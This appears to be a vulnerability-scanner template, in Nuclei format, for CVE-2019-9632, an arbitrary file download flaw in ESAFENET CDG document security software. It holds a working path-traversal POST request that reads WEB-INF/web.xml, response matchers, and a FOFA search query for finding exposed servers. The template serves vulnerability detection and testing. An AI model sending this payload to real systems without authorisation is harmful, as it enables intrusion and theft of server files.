id: CVE-2019-9632

info:
  name: ESAFENET CDG - Arbitrary File Download
  author: pdteam
  severity: high
  description: |
    ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.
  impact: |
    Attackers can download arbitrary files from the server, potentially leading to information disclosure or further exploitation.
  remediation: |
    Apply the latest security patches or update to the latest version provided by ESAFENET.
  reference:
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9632
    epss-score: 0.79234
    epss-percentile: 0.99089
    cpe: cpe:2.3:a:esafenet:electronic_document_security_management_system:v3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: esafenet
    product: "electronic_document_security_management_system"
    fofa-query: "title=\"电子文档安全管理系统\""
  tags: cve,cve2019,esafenet,lfi,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/CDGServer3/ClientAjax"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: |
      command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<servlet-name>CDGPermissions</servlet-name>"
# digest: 4a0a00473045022031223f93cc20ff78f783cbf997ad44861f36d04a5c738bfbe9228aff40a088560221009e6547cae9ec5df82707e007ae99f58a8be76ce3fd2fd91761ac7da7c8da86a6:922c64590222798bb761d5b6d8e72950